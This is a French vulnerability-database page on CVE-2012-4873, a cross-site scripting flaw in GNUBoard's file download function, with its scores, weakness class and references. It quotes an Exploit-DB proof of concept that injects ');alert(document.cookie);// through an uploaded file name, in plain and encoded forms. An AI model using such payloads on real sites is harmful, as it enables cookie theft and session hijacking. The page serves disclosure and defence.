CVE-2012-4873 : Détail

CVE-2012-4873

Cross-site Scripting
A03-Injection
0.35%V4
Network
2012-09-06
21h00 +00:00
2024-09-17
01h40 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Cross-site scripting (XSS) vulnerability in the file_download function in GNUBoard before 4.34.21 allows remote attackers to inject arbitrary web script or HTML via the filename parameter.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 36973

Date de publication : 2012-03-19 23h00 +00:00
Auteur : wh1ant
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/52622/info Gnuboard is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML and script code would run in the context of the affected website, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Gnuboard versions prior to 4.34.21 are vulnerable. 1) you can upload a file (e.g. a.txt) to the BBS. 2) you can download it from the following scripts and figure out what's working on. ### vulnerable code ######################################################################################################################### javascript:file_download('./download.php?bo_table=test&wr_id=13&no=0&sca=&sfl=&stx=&sst=&sod=&spt=0&page=0', 'a.txt'); ############################################################################################################################################# 3) you can also upload a file with name of XSS code. The following is the example. - ');alert(document.cookie);// - %27);alert(document.cookie);%2f%2f - %27%29%3b%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%2f%2f ### vulnerable code ######################################################################################################################### javascript:file_download('./download.php?bo_table=test&wr_id=13&no=0&sca=&sfl=&stx=&sst=&sod=&spt=0&page=0', '');alert(document.cookie);//'); ############################################################################################################################################# 4) The example file works by pulling in the Javascript and running it as part of the Javascript.

Products Mentioned

Configuraton 0

Sir>>Gnuboard >> Version To (including) 4.34

Références

http://www.exploit-db.com/exploits/18627
Tags : exploit, x_refsource_EXPLOIT-DB
http://secunia.com/advisories/48458
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/52622
Tags : vdb-entry, x_refsource_BID